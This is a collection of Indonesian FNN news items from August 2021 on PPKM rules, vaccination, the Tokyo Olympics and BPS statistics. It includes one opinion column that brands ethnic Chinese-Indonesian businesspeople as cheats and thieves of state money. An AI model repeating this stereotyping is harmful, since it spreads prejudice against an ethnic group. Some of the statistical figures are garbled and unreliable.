Kemerdekaan RI lewat berbagai bentuk media. Antara lain desain atau tampilan website atau media sosial, tayangan pada media televisi dan online, dekorasi bangunan, dekorasi kendaraan atau alat transportasi umum dan dinas. Lalu, produk, souvenir, merchandise, media publikasi cetak dan elektronik dan lain-lain. "Untuk penggunaan logo HUT ke-76 Kemerdekaan RI Tahun 2021 dan desain turunannya agar merujuk pada pedoman yang dapat diunduh pada website Kementerian Sekertariat Negara www.segneg.com," kata Mohammad Idris di Depok, Selasa. Mulai tanggal 1 Agustus 2021 masyarakat dapat mengakses platform Rumah Digital Indonesia (www.rumahdigitalindonesia.id). Rumah Digital lndonesia akan menayangkan rangkaian Upacara Peringatan HUT Ke-76 Kemerdekaan Rl Tahun 2021, dengan beragam pertunjukan seni, panggung hiburan, permainan khas kemerdekaan, pasar digital produk usaha mikro,kecil dan menengah unggulan, dan lainnya yang dikemas secara digital. Selanjutnya, pada tanggal 16 Agustus 2021 agar masyarakat mengikuti siaran langsung pidato kenegaraan Presiden RI melalui berbagai kanal media massa. Seperti televisi, radio dan media online. (sws)

Mendagri Terbitkan Tiga Instruksi Perpanjangan PPKM Level 4

Jakarta, FNN - Menteri Dalam Negeri (Mendagri) Republik Indonesia Muhammad Tito Karnavian di Jakarta, Senin, menerbitkan tiga instruksi kepada kepala daerah terkait perpanjangan PPKM Level 4 di Jawa, Bali, dan daerah-daerah selain dua pulau tersebut. Tiga Instruksi Menteri Dalam Negeri (Inmendagri) itu, masing-masing bernomor 27, Inmendagri No. 28, dan Inmendagri No.29 diterbitkan sebagai panduan bagi kepala daerah dalam melaksanakan perpanjangan Pemberlakuan Pembatasan Kegiatan Masyarakat (PPKM) selama 3-9 Agustus 2021. Sebagian besar ketentuan pembatasan, khususnya untuk daerah-daerah yang masuk level 3 dan level 4 tidak banyak yang berubah. Kegiatan non esensial masih diwajibkan berlangsung secara virtual, sementara aktivitas esensial diperbolehkan beroperasi sampai 50 persen dari kapasitas normal. Kemudian, kegiatan pada sektor kritikal diperbolehkan berlangsung secara langsung/tatap muka 100 persen, tetapi dengan menerapkan protokol kesehatan yang ketat. Namun, untuk daerah-daerah yang masuk pada level 2, ada penambahan kapasitas pada sektor esensial jadi 75 persen. Untuk sektor layanan pemerintahan di wilayah level 3 dan level 4 hanya boleh beroperasi 25 persen dari kapasitas normal, tetapi pada daerah level 2, sektor itu boleh beroperasi sampai 50 persen. Inmendagri No.27 Tahun 2021 menetapkan daerah-daerah di wilayah Pulau Jawa dan Pulau Bali yang masuk dalam level 4, level 3, dan level 2. Daerah-daerah yang masuk dalam daftar wilayah level 3 dan level 4, antara lain DKI Jakarta, Banten, Jawa Barat, Jawa Tengah, dan Jawa Timur. Di Yogyakarta dan Bali, seluruh kabupatennya masuk dalam wilayah level 4. Sementara itu, Inmendagri No.28 Tahun 2021 menetapkan daerah-daerah yang masuk level 4 di Sumatera, Kalimantan, Sulawesi, Nusa Tenggara, Maluku, dan Papua. Mendagri mengeluarkan instruksi khusus di luar wilayah Jawa dan Bali mengingat adanya lonjakan kasus COVID-19 di daerah-daerah tersebut dalam beberapa minggu terakhir. Terakhir, Inmendagri No.29 Tahun 2021 memberi panduan detail bagi kepala daerah yang wilayahnya masuk level 3, level 2, dan level 1. Mendagri lewat instruksinya itu juga meminta kepala daerah mengoptimalkan fungsi posko komando COVID-19 di tingkat desa dan kelurahan. (sws)

Armando D'Akidi Tio

By M Rizal Fadillah KELUARGA Akidi Tio membuat heboh jagat bangsa yang sedang prihatin menghadapi pandemi covid 19 karena secara pribadi keluarga ini menyumbangkan 2 trilyun rupiah untuk mengatasi pandemi di Sumatera Selatan. Altruisme yang dipuji banyak pihak sebagai teladan. Ade Armando dosen UI yang sangat berprestasi dan membuat bangga UI dan dunia akademik "sejagat" ikut memuji keluarga Akidi Tio. "2 trilyun rupiah lho, bukan 2 milyar uang semua gak pake pasir" ujarnya. Sambil menegaskan bahwa Akidi Tio adalah pengusaha Tionghoa. Tidak lengkap jika puja-puji Ade ini tidak ditambah dengan nyinyir kepada umat Islam sebagaimana kebiasaannya. Ia menyebut "ini satu lagi tambahan contoh untuk menantang kelompok-kelompok muslim pribumi yang selalu menjelekkan Tionghoa. Saya mau bilang ini sumbangan pengusaha Tionghoa, mana sumbanganmu ?". Hebat dan mantap sekali si Ade ini bekoar. Akan tetapi tak lama setelahnya terungkap bahwa sumbangan 2 trilyun itu hanya prank saja. Anak Akidi Tio ditangkap dan harus berurusan dengan aparat Kepolisian. Nah kini jelaslah bagi Ade Armando bahwa pengusaha Tionghoa itu tukang tipu dan jika Ade tidak meralat omongannya maka di samping ia tertipu, juga sadar atau tidak ia menjadi bagian dari penipuan itu. Banyak uang negara ini telah dicuri oleh para pengusaha Tionghoa, De ! Coba cek data korupsi di negerimu siapa koruptor kakap perampok uang rakyat itu? Para pengusaha Tionghoa ! Ratusan trilyun duit semua, gak pake pasir. Baru nyumbang 2 trilyun sudah dipuja-puji pake nyinyir kepada muslim segala. Ternyata Ade Armando "cerdas" sekali dalam membuktikan bahwa ternyata 2 trilyun itu pasir semua gak pake duit. Ade ini selalu nyinyir kepada umat Islam, orang jadi bertanya Ade Armando ini agamanya apa, muslim bukan ? Baru-baru ini ia mencuit provokatif soal agama pemain bulu tangkis Anthoni Ginting pasca kekalahan di Olimpiade "Eh Ginting itu Islam atau Kristen ? Ya Kristen laah..ooh" Apa kaitan agama dengan menang atau kalah dalam bulu tangkis? Aneh benaknya selalu diisi dengan pikiran buruk soal agama. Moga bukan pasir dan duit isi otaknya. Kini Ade kena batunya, menikmati prank pengusaha Tionghoa. Semestinya ia malu dan meminta maaf. Tetapi jika rasa malu itu telah hilang dari pribadinya, maka semua nilai-nilai baik dalam beragama dan bernegara bisa dengan enteng diabaikan. Besok mungkin cuitan-cuitan nyinyir Ade akan kita jumpai lagi. Bravo Ade Armando D'Mukidi eh D'Akidi Tio. *) Pemerhati Politik dan Kebangsaan

Sprinter Belarusia Dapat Visa Polandia, Akan Bertolak ke Warsawa

Jakarta, FNN - Sprinter Belarusia yang terlibat konflik dengan otoritas olahraga negaranya di tengah Olimpiade Tokyo 2020, mendapat visa kemanusiaan dari Polandia dan akan bertolak ke Warsawa pada Rabu (4/8). Krystsina Tsimanouskaya awalnya diperintahkan pulang oleh ofisial kontingen Belarusia, tetapi ia menolak masuk ke dalam penerbangan di Bandara Haneda dan mengungsikan diri ke Kedutaan Besar Polandia di Tokyo. Tsimanouskaya menduga pemaksaan dirinya untuk pulang ke negaranya lebih awal dari jadwal berkaitan dengan kritik yang ia lontarkan kepada staf pelatih tim atletik Belarusia. "Dia akan terbang dari Tokyo, penerbangan langsung ke Warsawa pada 4 Agustus, dua hari lagi," kata Ketua Yayasan Solidaritas Olahraga Belarusia, Aleksandr Opeykin, dilansir Reuters, Selasa dini hari WIB. "Dia sudah menerima tawaran dari Kementerian Luar Negeri Polandia untuk meminta bantuan internasional, prosedurnya sudah diikuti dan dia mendapat visa Polandia hari ini," ujarnya menambahkan. Sumber Reuters di yayasan tersebut, yang kerap menangani atlet-atlet yang dipenjarakan atau disingkirkan karena pandangan politik, menyebut Tsimanouskaya berencana untuk meminta suaka kepada Jerman atau Austria pada Senin. "Dia atlet muda, sukses dan tentunya ingin melanjutkan kariernya, jadi dia butuh bantuan untuk bisa berlatih dan berkembang," kata Opeykin. Tsimanouskaya tiba di Kedubes Polandia di Tokyo pada Senin dan Wakil Menteri Luar Negeri Polandia Pawel Jablonski mengonfirmasi negaranya telah menerbitkan visa kemanusiaan untuk yang bersangkutan. "Saya bisa mengonfirmasi bahwa kami akan memenuhi kebutuhan mendasarnya di Polandia, bila mana ia ingin menggunakan hak tersebut," kata Jablonski. Atlet berusia 24 tahun itu sedianya bertanding dalam lari nomor 200m putri pada Senin, tetapi sehari sebelumnya mengungkapkan dia dibawa ke Bandara Haneda untuk diterbangkan pulang ke Belarusia, perintah yang juga ia tolak. Uni Eropa menyambut baik keputusan Polandia menerbitkan visa untuk Tsimanouskaya sembari mengecam tindakan percobaan pemulangan paksa sang atlet dan menyebutnya sebagai bukti lebih lanjut akan "represi brutal" Presiden Belarusia Alexander Lukashenko. (mth)

Kadinkes: Mahasiswi Lumpuh Setelah Vaksin Diduga Akibat Psikosomatis

Meulaboh, Aceh, FNN - Kepala Dinas Kesehatan Kabupaten Aceh Barat, Provinsi Aceh Syarifah Junaidah menegaskan bahwa seorang mahasiswi yang lumpuh setelah mendapatkan penyuntikan vaksin Sinovac diduga mengalami psikosomatis. “Jadi, dugaan sementara pasien mengalami psikosomatis, artinya banyak cemas atau pikiran yang berlebihan setelah mendapatkan vaksinasi,” kata Syarifah Junaidah di Meulaboh, Selasa. Sebelumnya, Amelia Wulandari, seorang mahasiswi akhir Fakultas Hukum Universitas Syiah (USK) Kuala Banda Aceh sejak Minggu (1/8) 2021 harus dirawat di RSUD Cut Nyak Dhien Meulaboh karena lumpuh setelah mendapatkan vaksinasi anti-COVID-19 oleh tenaga kesehatan. Semula korban dirawat di Rumah Sakit Swasta Montella Meulaboh, namun karena kondisinya memburuk kemudian ia dirujuk ke RSUD Cut Nyak Dhien Meulaboh. Meski saat ini korban mengaku lumpuh setelah mendapatkan penyuntikan, namun, menurut Kadinkes, hal tersebut belum bisa dipastikan secara medis. Menurut dia untuk bisa memastikan seseorang lumpuh tersebut harus adanya uji laboratorium dan pemeriksaan lebih lanjut guna memastikan penyebab pastinya. “Jadi, kami belum bisa pastikan apakah lumpuh ini karena vaksin atau faktor lain, masih perlu pendalaman lebih lanjut secara medis,” katanya menegaskan. Pihaknya bersama dokter di RSUD Cut Nyak Dhien Meulaboh masih terus melakukan pemantauan dan pemberian obat-obatan kepada pasien, sehingga diharapkan kondisi pasien Amelia Wulandari semakin membaik, demikian Syarifah Junaidah. (mth)

Kodim Jakarta Selatan Perpanjang Layanan Vaksinasi Sampai 16 Agustus

Jakarta, FNN - Vaksinasi massal yang digelar Komando Distrik Militer (Kodim) 0504 Jakarta Selatan diperpanjang sampai 16 Agustus 2021. Perpanjangan dilakukan karena animo masyarakat melakukan vaksin cukup tinggi. Hal tersebut disampaikan Komandam Kodim 0504/JS Kolonel Inf Jamaluddin dalam keterangan persnya yang diterima FNN.co.id, di Jakarta, Senin, 2 Agustus 2021. Sebagaimana diberitakan sebelumnya, pelaksanaan vaksin tahap pertama berlangsung mulai 27 Juli sampai 2 Agustus 2021. Berdasarkan informasi yang diperoleh, warga yang datang untuk divaksin di Aula Kodim Jaksel, Jalan Cenderawasih Raya, Kelurahan Kebayoran Lama Selatan, Kecamatan Kebayoran Lama, rata-rata 400 orang per hari. Dandim menjelaskan, tingginya keinginan masyarakat untuk divaksin merupakan langkah tepat dalam usaha menekan laju penyebaran Coronavirus Disease 2019 (Covid-19). Menurut Dandim, pihaknya siap melayani masyarakat mulai dari usia 12 tahun ke atas, sampai 16 Agustus 2021. Persyaratannya, cukup membawa Kartu Keluarga (KK) bagi yang belum memiliki Kartu Tanda Penduduk (KTP), karena usia belum cukup. Bagi pemegang KTP cukup membawa identitas tersebut. Tentu KK dan KTP harus difotokopi. Masyarakat yang ingin divaksin tidak hanya warga Jakarta (pemilik KTP Ibukota). Tetapi, warga dari mana pun akan dilayani, asalkan memiliki KK dan KTP. Perpanjangan waktu tersebut diharapkan semakin memperbanyak jangkauan vaksinasi terhadap masyarakat. Dengan demikian akan tercipta herd immunity dan sekaligus dapat terhindar dari pandemi corona. (SP).

Pemkab Agam Sediakan Kolam Percontohan Budidayakan Ikan

Lubuk Basung, FNN - Pemerintah Kabupaten (Pemkab) Agam, Sumatera Barat menyediakan kolam percontohan sekitar satu hektare di Nagari Duo Koto, Kecamatan Tanjungraya untuk pengalihan budidaya ikan air tawar dari Danau Maninjau ke daratan. Pelaksana Tugas Dinas Perikanan dan Ketahanan Pangan (DPKP) Agam, Edi Natrial di Lubukbasung, Senin, mengatakan lahan itu milik Kelompok Tani Ujung Pandan Nagari Duo Koto, Kecamatan Tanjungraya. "Lahan itu telah bersertifikat dan kelompok tani siap untuk dijadikan sebagai kolam percontohan ikan air tenang," katanya. Ia mengatakan, lahan itu merupakan permintaan Kementerian Kelautan Perikanan melalui Balai Perikanan Budidaya Air Tawar (BPBAT) Sungai Gelam, Jambi ke DPKP Agam. Setelah dilakukan koordinasi dengan kelompok, tambahnya DPKP Agam mendapatkan lahan yang coccok dijadikan sebagai lahan percontohan dan kelompok bersedia. Namun dengan kondisi anggaran Kementrian Kelautan dan Perikanan mengalami rekofusing, maka program tersebut ditunda pada 2022. "Kolam percontohan itu ditunda pada 2022 dan ini informasi yang saya peroleh dari pihak BPBAT Sungai Galam, Jambi," katanya. Ia menambahkan, lahan itu akan dijadikan sebagai kolam percontohan bagi petani untuk cara budidaya ikan di kolam air tenang. Keberadaan kolam itu untuk pengalihan budidaya ikan di keramba jaring apung Danau Maninjau ke daratan. Ini dalam rangka mendukung revitalisasi atau pemulihan danau dari pencemaran limbah pakan ikan. "Kolam percontohan itu merupakan salah satu program dalam mendukung revitalisasi danau," katanya. (mth)

Indika Energy Targetkan Separuh Pendapatan Tak Lagi Ditopang Batu Bara

Jakarta, FNN - PT Indika Energy Tbk menargetkan 50 persen pendapatan perseroan tak lagi ditopang dari komoditas batu bara pada 2025. Wakil Direktur Utama dan Group CEO Indika Energy Azis Armand mengatakan sejak tiga tahun lalu pihaknya telah melakukan diversifikasi terhadap proyek-proyek energi terbarukan hingga teknologi. "Investasi diversifikasi Indika Energy meliputi tambang emas, teknologi digital, energi baru dan terbarukan, kendaraan motor listrik, juga solusi berbasis alam atau nature based solutions. Kami menargetkan 50 persen pendapatan dari sektor non-batu bara pada tahun 2025," kata Azis Armand dalam keterangannya di Jakarta, Senin. Lebih lanjut dia mengungkapkan situasi ekonomi global akibat pandemi masih cukup menantang, sehingga memacu perseroan untuk lebih adaptif dan tangkas dalam melihat peluang usaha. Menurutnya, diversikasi investasi itu merupakan inovasi Indika Energy dalam melihat perubahan tren energi di masa depan yang cenderung memprioritaskan sektor energi baru terbarukan. “Sejak 2018, Indika Energy telah melakukan diversifikasi di luar sektor inti kami di bidang energi dan pertambangan. Hal ini sejalan dengan tujuan eksistensi kami untuk memberi energi pada Indonesia demi masa depan yang berkelanjutan," terang Azin. Perseroan telah menambah utang sebesar 125 juta dolar AS untuk mendanai proyek-proyek diverisifikasi tersebut. Beberapa anak usaha Indika Energy yang terdiversifikasi, antara lain PT Nusantara Resources Limited bergerak dalam bidang pertambangan emas, PT Tripatra Multi Energi dan PT Indika Tenaga Baru merupakan investasi energi terbarukan, hingga PT Electra Mobilitas Indonesia yang menggarap kendaraan motor listrik. Selanjutnya ada juga PT Xapiens Teknologi Indonesia yang bergerak dalam bidang enterprise informasi dan teknologi, PT Zebra Cross Teknologi dalam bidang jasa teknologi digital, PT Empat Mitra Indika Tenaga Surya yang menggarap bisnis energi terbarukan, serta PT Indika Multi Properti yang melayani proyek properti dan konstruksi bangunan. (mth)

Menkes Pastikan Vaksinasi "Booster" dengan Vaksin Moderna untuk Nakes

Jakarta, FNN - Menteri Kesehatan Budi Gunadi Sadikin memastikan pelaksanaan vaksinasi ketiga sebagai "booster" bagi tenaga kesehatan menggunakan vaksin Moderna. "Kami memastikan bahwa vaksinasi ketiga, 'booster', dengan vaksin Moderna itu kita berikan ke seluruh tenaga kesehatan kita, sudah didistribusikan ke seluruh provinsi," kata Budi Gunadi dalam konferensi pers virtual di Jakarta, Senin. Budi Gunadi menyampaikan hal tersebut usai mengikuti rapat kabinet terbatas yang dipimpin Presiden Joko Widodo melalui "video conference". "Saya mohon sekali agar (vaksinasi) itu segera disuntikkan ke seluruh tenaga kesehatan kita agar mereka lebih siap menghadapi kalau adanya nanti pasien pasien yang masuk," ungkap Budi. Ia juga meminta agar tidak ada yang menyerobot vaksinasi ketiga untuk tenaga kesehatan tersebut. "Saya pesankan di sini, ke semua komponen masyarakat, tolong, secara etika masih banyak rakyat Indonesia belum dapat vaksin, ada 140 juta yang belum mendapatkan dosis pertama karena baru mendapatkan itu sekitar 68 juta atau 70 juta (yang divaksin), masih ada 140 juta saudara-saudara kita yang belum mendapatkan akses vaksin pertama," tambah Budi. Budi Gunadi menegaskan bahwa stok vaksin yang dimiliki pemerintah cukup namun vaksinasi ketiga baru akan diberikan untuk tenaga kesehatan. "Jadi tolong bapak ibu, sekali lagi vaksinnya ada, 'booster' ketiga hanya diberikan kepada tenaga kesehatan karena mereka membantu kita tapi sisanya, tolong kita berikan kepada 140 juta saudara-saudari kita belum mendapatkan vaksin," ungkap Budi. Menkes menyebut dirinya tahu ada banyak orang yang ingin mendapatkan vaksinasi ketiga. "Saya tahu banyak yang ingin mendapatkan 'booster' ketiga, vaksin ketiga, tolong berikan itu kepada tenaga kesehatan yang harus berjuang mati dan hidup dalam peperangan pada pandemi ini dan tolong kita utamakan saudara-saudara kita 140 juta rakyat Indonesia yang belum mendapatkan akses terhadap vaksin," tambah Budi. Berdasarkan data Satgas COVID-19, sudah ada 47.478.168 orang yang mendapatkan vaksinasi dosis pertama dan sebanyak 20.673.079 orang yang mendapat vaksinasi dosis kedua dengan menggunakan berbagai merek vaksin. Jumlah tersebut adalah sekitar 24,49 persen dari total populasi Indonesia. Pemerintah menargetkan dapat memvaksinasi 208.265.720 orang sehingga pemerintah terus menggenjot vaksinasi harian, termasuk dengan menargetkan 2 juta dosis per hari mulai Agustus ini. Sedangkan vaksinasi "bosster" adalah vaksinasi yang diperlukan untuk memperkuat respons antibodi terhadap varian baru apalagi kematian para dokter dan tenaga kesehatan di Indonesia dari Maret 2020 hingga Juli 2021 telah mencapai 1.141 jiwa. Menurut penelitian yang dilakukan Bio Farma, idealnya vaksinasi booster dilakukan 6 bulan setelah vaksinasi kedua di lakukan. Indonesia telah mendapat 3 juta dosis vaksin Moderna pada 11 Juli 2021 dari Amerika Serikat melalui mekanisme COVAX Facility. (mth)

PDIP Tegaskan Pelatihan Asisten Nakes Tak Bermotif Elektoral

Jakarta, FNN - DPP PDI Perjuangan menegaskan pelatihan asisten tenaga kesehatan (nakes) tidak ada motif elektoral bagi partainya, namun merupakan wujud kerja kemanusiaan dan gotong royong untuk mengatasi pandemi COVID-19. "Tak ada motif elektoral. Makanya pelatihan dibuat terbuka untuk siapa pun, tanpa memperhatikan latar belakang partai politiknya," kata Sekjen DPP PDI Perjuangan Hasto Kristiyanto saat membuka latihan asisten nakes itu, yang digelar secara daring dan luring dari Gedung Sekolah Partai PDIP, di Jalan Lenteng Agung, Jakarta Selatan, Senin. Menurut Hasto, meski pelatihan ini dilakukan PDI Perjuangan, tapi rekruitmen pesertanya terbuka. "Karena yang penting itu kerja kemanusiaan. Kita harus bersama-sama sebagai warga bangsa. Itu pesan Ibu Megawati. Tak ada kata terlambat," ujarnya dalam siaran persnya. Bersama Hasto, hadir Ketua DPP PDIP Bidang Kesehatan, Perempuan, dan Anak Sri Rahayu, dan Ketua DPP PDIP Bidang Sosial dan Penanggulangan Bencana Ribka Tjiptaning. Ketua Umum Megawati Soekarnoputri, Ketua DPP PDIP Puan Maharani dan Prananda Prabowo hadir secara virtual. Lebih lanjut, Hasto mengatakan bahwa Ketua Umum Megawati Soekarnoputri selalu menginstruksikan agar kerja gotong royong dilakukan seluruh elemen bangsa, dengan berbasis semangat kemanusiaan. Hal itu pun sejalan dengan ideologi bangsa, Pancasila, dimana salah satunya menekankan pentingnya persatuan Indonesia. Apalagi, pandemi COVID-19 secara nyata memang berdampak luar biasa pada kehidupan masyarakat, katanya pula. Presiden Joko Widodo dan Wapres Ma'ruf Amin juga bekerja keras memimpin gerakan mengatasi permasalahan yang muncul. Dalam konteks itu, rakyat dan berbagai elemen sudah sepantasnya bersatu dan ikut bergotong royong, ujar dia. "Penting bagi kita untuk berada dalam satu kesatuan gotong royong tanpa membedakan pilihan politik. Sebab ini persoalan bersama, persoalan Indonesia. Namun masih ada yang nyinyir, dan melakukan manuver-manuver politik. Kalau sudah kerja keras untuk rakyat, mungkin kritikannya bisa diterima. Tapi ada saja yang bicara tanpa melakukan apa-apa," kata Hasto. Dia pun mengajak semua elemen bangsa mengedepankan energi positif dan gotong royong dalam mengatasi pandemi COVID-19. Kepada para peserta pelatihan, Hasto menyampaikan pesan Ketua Umum Megawati Soekarnoputri, untuk terus bergotong royong di masa pandemi. Nantinya para peserta pelatihan akan diintegrasikan dengan satgas COVID-19 baik pusat maupun daerah, sehingga bisa terlibat dalam penanganan pandemi. "Mari bekerja dengan semangat agar memastikan rakyat lebih baik. Mari kita kesampingkan motif politik elektoral. Namun mengutamakan bahwa rakyat bisa semakin menemukan optimisme dalam menghadapi pandemi," ujar Hasto. Ketua DPP PDI Perjuangan (PDIP) Bidang Kesehatan, Perempuan, dan Anak Sri Rahayu menjelaskan pelatihan ini diikuti oleh 982 peserta dari seluruh Indonesia. Latar belakang pendidikannya bermacam-macam, dari SMK Kesehatan hingga diploma 1, Diploma 3, dan S1 Kesehatan. "258 pesertanya berjenis kelamin laki-laki dan 726 pesertanya perempuan," kata Sri Rahayu. Narasumber adalah Menteri Kesehatan Budi Gunadi Sadikin, Kepala Satgas COVID-19 Ganip Warsito, Wakil Ketua Komisi IX DPR Charles Honoris, dan sejumlah ahli kesehatan yang akan berbagi pengalaman serta panduan dalam menghadapi pandemi ini. Fakta lapangan yang ditangkap oleh PDIP, banyak pasien COVID-19 yang masih terus meningkat, dimana fasilitas kesehatan tidak mampu menampung pasien, sehingga banyak pasien yang melakukan isolasi mandiri. Dalam isolasi mandiri pun, banyak yang tidak bisa dikontrol oleh nakes karena kekurangan tenaga. "Oleh karena itu sangat penting PDI Perjuangan ambil bagian bergotong royong dalam memberikan pendampingan dan edukasi bersama-sama petugas kesehatan atau satgas COVID-19 di seluruh Indonesia dengan mengadakan kegiatan pelatihan ini," kata Sri Rahayu. (mth)

BPS: Nilai Tukar Petani Juli 2021 Turun 0,11 Persen

Jakarta, FNN - Badan Pusat Statistik (BPS) mencatat Nilai Tukar Petani (NTP) nasional Juli 2021 sebesar 103,48 atau turun 0,11 persen dibanding NTP bulan sebelumnya. "Penurunan NTP dikarenakan Indeks Harga yang Diterima Petani (It) naik sebesar 0,03 persen, lebih rendah dari kenaikan Indeks Harga yang Dibayar Petani (Ib) sebesar 0,14 persen," kata Kepala BPS Margo Yuwono lewat keterangan pers secara virtual, Senin. Margo memaparkan pada Juli 2021 NTP Provinsi Riau mengalami penurunan terbesar (2,29 persen) dibandingkan penurunan NTP provinsi lainnya. Sebaliknya, NTP Provinsi DKI Jakarta mengalami kenaikan tertinggi (2,58 persen) dibandingkan kenaikan NTP provinsi lainnya. Pada periode yang sama, terjadi kenaikan Indeks Konsumsi Rumah Tangga (IKRT) di Indonesia sebesar 0,14 persen yang disebabkan oleh kenaikan indeks pada seluruh kelompok pengeluaran, terutama kelompok makanan, minuman, dan tembakau. Secara nasional, NTP Januari–Juli 2021 sebesar 103,29 dengan nilai It sebesar 111,21 sedangkan Ib sebesar 107,67. Adapun Nilai Tukar Usaha Rumah Tangga Pertanian (NTUP) nasional Juli 2021 sebesar 103,77 atau turun 0,10 persen dibanding NTUP bulan sebelumnya. NTP adalah perbandingan indeks harga yang diterima petani (It) terhadap indeks harga yang dibayar petani (Ib). NTP merupakan salah satu indikator untuk melihat tingkat kemampuan atau daya beli petani di perdesaan. NTP juga menunjukkan daya tukar (terms of trade) dari produk pertanian dengan barang dan jasa yang dikonsumsi maupun untuk biaya produksi. (mthj)

Pasangan Greysia/Apriyani Persembahkan Emas Buat Indonesia

Jakarta, (FNN) - Pasangan Greysia Polii/Apriyani Rahayu menyabet medali emas Olimpiade Tokyo 2020 setelah menyingkirkan ganda putri China Chen Qing Chen/Jia Yi Fan pada Senin, 2 Agustus 2021. Dalam pertandingan final bulu tangkis ganda putri yang bergulir selama 55 menit di Musashino Forest Sport Plaza, Tokyo, Jepang, Greysia/Apriyani memetik kemenangan dalam dua gim dengan skor 21-19, 21-15, seperti dilansir laman BWF. Chen/Jia merebut poin pembuka pada gim pertama. Namun mereka dapat disusul oleh Greysia/Apriyani dan kedudukan imbang 1-1. Setelah itu, Wakil Garuda berbalik unggul dan meraih poin-poin berikutnya, dengan kondisi Chen/Jia yang terus menempel ketat. Kedua pasangan itu kembali imbang 12-12. Greysia/Apriyani meningkatkan tempo permainan. Mereka unggul dan memperlebar jarak 19-14 dengan Chen/Jia. Lawannya berusaha mengejar. Namun Greysia/Apriyani lebih cepat mengamankan poin-poin terakhir, sehingga merebut gim pertama 21-19. Gim kedua, giliran Greysia/Apriyani yang mencuri poin pembuka. Akan tetapi, mereka berdua lagi-lagi imbang 1-1. Beruntung, lawannya banyak membuat kesalahan, sehingga Greysia/Apriyani unggul sampai 7-2 dan terus menambah poin-poin berikutnya. Chen/JIa tertinggal 8-13 dan masih membuat beberapa kesalahan. Kondisi itu pun dimanfaatkan dengan baik oleh Greysia/Apriyani untuk meraup banyak poin. Semakin memimpin, Greysia/Apriyani melepaskan smash terakhir dengan penuh percaya diri dan menutup laga tersebut dengan kemenangan 21-15. Sebagaimana diberitakan Antara, dengan hasil tersebut, maka Greysia/Apriyani mendapatkan mahkota juara dan membawa pulang medali emas Olimpiade Tokyo 2020. Secara head-to-head, Chen/Jia sebetulnya lebih unggul karena mereka merupakan pasangan nomor dua dunia, sedangkan Greysia/Apriyani berada di urutan keenam. Selain itu, Chen/Jia juga unggul dengan agregat 6-3 dari total sembilan pertemuan mereka dengan Greysia/Apriyani. Selanjutnya, Indonesia masih memiliki tunggal putra Anthony Sinisuka Ginting yang akan berjuang memperebutkan medali perunggu melawan pemain peringkat 58 asal Guatemala Kevin Cordon pada pukul 18.00 WIB. (MD)

Menkes: Skenario Terburuk 70 Ribu Kasus COVID per Hari Tak Terjadi

Jakarta, FNN - Menteri Kesehatan Budi Gunadi Sadikin mengatakan pemerintah memiliki skenario terburuk penambahan kasus COVID-19 harian hingga sebesar 70 ribu kasus, namun hal itu berhasil dicegah dan tidak terjadi. “Skenario sebelumnya terburuk 70 ribu penambahan kasus COVID-19 per hari. Kita lihat, kita bersyukur peak-nya (puncak) itu terjadi di 57 ribu per hari, itu dengan peningkatan testing (pengujian) luar biasa,” kata Budi dalam konferensi pers daring di Jakarta, Senin. Budi mengatakan salah satu penyebab skenario terburuk bisa dihindari adalah dengan peningkatan secara signifikan kapasitas tes. Awalnya, pemerintah melakukan tes sebanyak 50 ribu per hari. Jumlah kemampuan tes kemudian naik hingga mencapai 200 ribu tes per hari dan akan terus dilipatgandakan. “Kami akan terus meningkatkan testing ini,” ujarnya. Peningkatan kapasitas tes juga dibarengi dengan pelacakan dan perawatan. Hal ini agar kondisi di lapangan tergambarkan secara faktual dan aktual, sehingga pemerintah mampu mengambil kebijakan yang tepat dalam penanganan pasien. “Jadi kita bersyukur, dengan peningkatan kapasitas testing selama sebulan terakhir, dari 50 ribuan sampai 200 ribuan tes, dari kasus yang kita prediksi 70 ribu, kita amati puncaknya 57 ribu” ujar dia. Menurut Menkes, puncak penambahan kasus COVID-19 secara harian sejauh ini berada di 57 ribu kasus, dan tren penambahan kasus COVID-19 saat ini telah menurun. Dia menyampaikan pesan Presiden Joko Widodo agar seluruh pihak tetap waspada dan antisipatif terhadap persebaran virus Corona varian Delta, meskipun tren penularan kasus COVID-19 telah menurun. “Bapak Presiden menekankan selain kita bersyukur kita harus tetap waspada, karena memang virus ini sulit diduga, terjadi dimana-mana persebarannya, di seluruh dunia,” ujarnya. “Kita bersyukur karena kerja keras kita sudah turun, tapi harus tetap waspada,” ia menambahkan.

BPS Lansir Kunjungan Wisman pada Juni 2021 Sebanyak 140.850

Jakarta, FNN - Kepala Badan Pusat Statistik (BPS) Margo Yuwono melansir kunjungan wisatawan mancanegara (wisman) pada Juni 2021 sebanyak 140.850 atau menurun sebesar 10,04 persen dibandingkan dengan jumlah kunjungan pada Juni 2020. "Dari grafik ini terlihat sekali bahwa kunjungan wisman belum ada perbaikan secara signifikan jika dibandingkan 2020 dan 2019. Kunjungan wisman ini relatif rendah bila dibandingkan dengan kondisi tahun-tahun sebelumnya. Kita terpukul. Ini karena pandemi masih melanda dan adanya larangan berkunjungan dari luar negeri ke Indonesia," kata Margo saat menggelar konferensi pers secara virtual, Senin. Jika dibandingkan dengan keadaan pada Mei 2021 jumlah kunjungan wisman bulan Juni 2021 juga mengalami penurunan sebesar 7,71 persen. Dari 140.850 kunjungan wisman pada Juni 2021, jumlah kunjungan wisman yang menggunakan moda angkutan udara sebanyak 16.230 ribu kunjungan, moda angkutan laut sebanyak 34.170 kunjungan, dan moda angkutan darat sebanyak 90.440 kunjungan. Adapun wisman yang datang dari wilayah Afrika pada Juli 2021 memiliki persentase kenaikan paling tinggi yaitu sebesar 581,97 persen jika dibandingkan dengan jumlah kunjungan wisman pada Juni 2020. Sebaliknya wisman yang datang dari wilayah ASEAN mengalami penurunan sebesar 37,86 persen. Jika dilihat berdasarkan kebangsaan, wisman yang datang ke Indonesia paling banyak berasal dari kebangsaan Timor Leste dengan jumlah kunjungan sebanyak 76.850 ribu kunjungan (54,56 persen), diikuti Malaysia sebanyak 37.850 ribu kunjungan (26,87 persen), China sebanyak 6.660 kunjungan (4,73 persen), Amerika Serikat sebanyak 2.260 kunjungan (1,60 persen), dan Belanda sebanyak 1.990 kunjungan (1,41 persen). Secara kumulatif pada Januari–Juni 2021, jumlah kunjungan wisman ke Indonesia mencapai 802.380 kunjungan atau menurun sebesar 74,33 persen dibandingkan dengan jumlah kunjungan wisman pada periode yang sama tahun sebelumnya yang berjumlah 3,13 juta kunjungan. Jumlah kunjungan wisman Januari–Juni 2021 terdiri atas wisman yang berkunjung menggunakan moda angkutan udara sebanyak 70.290 ribu kunjungan, moda angkutan laut sebanyak 229.130 kunjungan, dan moda 